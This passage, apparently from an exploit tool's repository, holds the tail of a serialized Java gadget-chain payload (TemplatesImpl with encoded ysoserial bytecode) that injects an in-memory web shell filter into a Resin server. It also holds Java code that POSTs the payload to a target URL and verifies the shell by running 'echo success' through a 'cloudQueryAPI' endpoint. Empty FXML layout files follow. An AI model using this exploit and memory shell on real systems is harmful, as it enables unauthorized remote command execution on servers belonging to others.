0FRRTBzRWtFRXZRQkNXUU1UQUJGVHRnQkRMTFlBT2dTOUFFUlpBeXRUdGdCRndBQkd3QUJHc0UwU1I3Z0FRRTR0RWtnRHZRQkN3QUJKdGdCREFRTzlBRVMyQUVVNkJCa0V0Z0F5RWtvRXZRQkNXUU1UQUJGVHRnQkRHUVFFdlFCRVdRTXJVN1lBUmNBQVJzQUFSckFBQVFBQUFDc0FMQUE4QUFNQVZBQUFBQm9BQmdBQUFFVUFCZ0JHQUN3QVNBQXRBRWtBTXdCS0FFb0FTd0JWQUFBQVBnQUdBQVlBSmdDQkFJSUFBZ0F6QUQ4QWd3Q0NBQU1BU2dBb0FJUUFoUUFFQUMwQVJRQm1BR2NBQWdBQUFISUFWZ0JYQUFBQUFBQnlBSVlBVGdBQkFISUFBQUFHQUFGc0J3QjdBSHdBQUFBRUFBRUFQQUFCQUljQWlBQUNBRk1BQUFBMUFBQUFBZ0FBQUFHeEFBQUFBZ0JVQUFBQUJnQUJBQUFBVUFCVkFBQUFGZ0FDQUFBQUFRQldBRmNBQUFBQUFBRUFpUUNLQUFFQWZBQUFBQVFBQVFCK0FBRUFpd0JTQUFFQVV3QUFBQ3NBQUFBQkFBQUFBYkVBQUFBQ0FGUUFBQUFHQUFFQUFBQlRBRlVBQUFBTUFBRUFBQUFCQUZZQVZ3QUFBQUVBakFBQUFBSUFqUT09AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAlQCWAQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAlwCYDACZAJoBABBqYXZhL2xhbmcvT2JqZWN0BwCbDACcAJ0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIBABJbTGphdmEvbGFuZy9DbGFzczsMAJ4AnwEABmRlY29kZQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzBwCgDAChAEQMAKIAmAwAowCkDAClAKYHAKcMAKgAqQEAKGNvbS9jYXVjaG8vc2VydmVyL2Rpc3BhdGNoL0ZpbHRlck1hcHBpbmcBAApDbG91ZHF1ZXJ5DACqAKsMAKwArQwArgCrDACvALAMALEAsgwAswC0DAC1AC8BAAIvKgwAtgC3DAC4ALkBACB5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAM2NvbS9jYXVjaG8vc2VydmVyL2Rpc3BhdGNoL0ZpbHRlck1hcHBpbmckVVJMUGF0dGVybgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEAH2NvbS9jYXVjaG8vc2VydmVyL3dlYmFwcC9XZWJBcHABAAhnZXRMb2NhbAEAIygpTGNvbS9jYXVjaG8vc2VydmVyL3dlYmFwcC9XZWJBcHA7AQANc2V0RmlsdGVyTmFtZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADnNldEZpbHRlckNsYXNzAQARc2V0U2VydmxldENvbnRleHQBACEoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7KVYBAAlhZGRGaWx0ZXIBADAoTGNvbS9jYXVjaG8vc2VydmVyL2Rpc3BhdGNoL0ZpbHRlckNvbmZpZ0ltcGw7KVYBABBjcmVhdGVVcmxQYXR0ZXJuAQA3KClMY29tL2NhdWNoby9zZXJ2ZXIvZGlzcGF0Y2gvRmlsdGVyTWFwcGluZyRVUkxQYXR0ZXJuOwEABGluaXQBAAdhZGRUZXh0AQBJKExqYXZhL2xhbmcvU3RyaW5nOylMY29tL2NhdWNoby9zZXJ2ZXIvZGlzcGF0Y2gvRmlsdGVyTWFwcGluZyRVUkxQYXR0ZXJuOwEAEGFkZEZpbHRlck1hcHBpbmcBAC0oTGNvbS9jYXVjaG8vc2VydmVyL2Rpc3BhdGNoL0ZpbHRlck1hcHBpbmc7KVYAIQApACoAAQArAAEACgAsAC0AAAAEAAEALgAvAAEAMAAAAC8AAQABAAAABSq3AAGxAAAAAgAxAAAABgABAAAACwAyAAAADAABAAAABQAzADQAAAABADUANgACADAAAAA/AAAAAwAAAAGxAAAAAgAxAAAABgABAAAANgAyAAAAIAADAAAAAQAzADQAAAAAAAEANwA4AAEAAAABADkAOgACADsAAAAEAAEAPAABADUAPQACADAAAABJAAAABAAAAAGxAAAAAgAxAAAABgABAAAAOwAyAAAAKgAEAAAAAQAzADQAAAAAAAEANwA4AAEAAAABAD4APwACAAAAAQBAAEEAAwA7AAAABAABADwACABCAC8AAQAwAAACVQAGAAgAAAEUuAACtgADSxIETRIFuAAGOgQZBBIHBL0ACFkDEglTtgAKGQS2AAsEvQAMWQMsU7YADcAADsAADk6nAEs6BBIQuAAGOgUZBRIRA70ACMAAErYACgEDvQAMtgANOgYZBrYAExIUBL0ACFkDEglTtgAKGQYEvQAMWQMsU7YADcAADsAADk4SFRIWBr0ACFkDEg5TWQSyABdTWQWyABdTtgAYOgQZBAS2ABkZBCoGvQAMWQMtU1kEA7gAGlNZBS2+uAAaU7YADcAACEy4ABs6BbsAHFm3AB06BhkGEh62AB8ZBiu2ACC2ACEZBhkFtgAiGQUZBrYAIxkGtgAkOgcZB7YAJRkHEia2ACdXGQUZBrYAKKcABE2xAAIACgA4ADsADwAHAQ8BEgAPAAMAMQAAAGYAGQAAABAABwATAAoAFwARABgAOAAeADsAGgA9ABsARAAcAFwAHQCDACAAoQAhAKcAIgDIACQAzQAlANYAJgDdACcA5gAoAO0AKQD0ACoA+wArAQAALAEIAC0BDwAwARIALwETADEAMgAAAIQADQARACcAQwBEAAQAOAADAEUARgADAEQAPwBHAEQABQBcACcASABJAAYAPQBGAEoASwAEAAoBBQBMAC0AAgCDAIwARQBGAAMAoQBuAE0ATgAEAM0AQgBPAFAABQDWADkAUQBSAAYA+wAUAFMAVwAHAMgASgBYAEQAAQAHAQwAWQBaAAAAWwAAACkABP8AOwADBwBcAAcAXQABBwBe/ABHBwAO/wCOAAEHAFwAAQcAXvoAAAACAF8AAAACAGAAVgAAAAoAAQBUABwAVQAB</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>");
24 | xml.append("\n" +
25 | " 2\n" +
26 | " \n" +
27 | " \n" +
28 | "");
29 | String xmlString = xml.toString();
30 | RequestBody requestBody = RequestBody.create(MediaType.parse("application/xml"),xmlString);
31 | Request request = new Request.Builder().url(url).post(requestBody).build();
32 | client.newCall(request).execute();
33 | return checkInject();
34 | }
35 |
36 | private boolean checkInject() throws IOException {
37 | FormBody.Builder params=new FormBody.Builder();
38 | params.add("type", "basic");
39 | params.add("pass", "echo success");
40 | Request request = new Request.Builder().url(url+"cloudQueryAPI").post(params.build()).build();
41 | Response response = client.newCall(request).execute();
42 | if (response.code() == 200 && response.body().string().indexOf("success")!=-1){
43 | return true;
44 | }else {
45 | return false;
46 | }
47 | }
48 |
49 | public String parsUrl(String url){
50 | final String original = url;
51 | if (!url.startsWith("http://") && !url.startsWith("https://")) {
52 | url = "http://" + original;
53 | }
54 | if (!url.endsWith("/")) {
55 | url += "/";
56 | }
57 | return url;
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/src/main/resources/sample/sample.fxml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
19 |
23 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/target/classes/sample/sample.fxml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
19 |
23 |
27 |
28 |
29 |
--------------------------------------------------------------------------------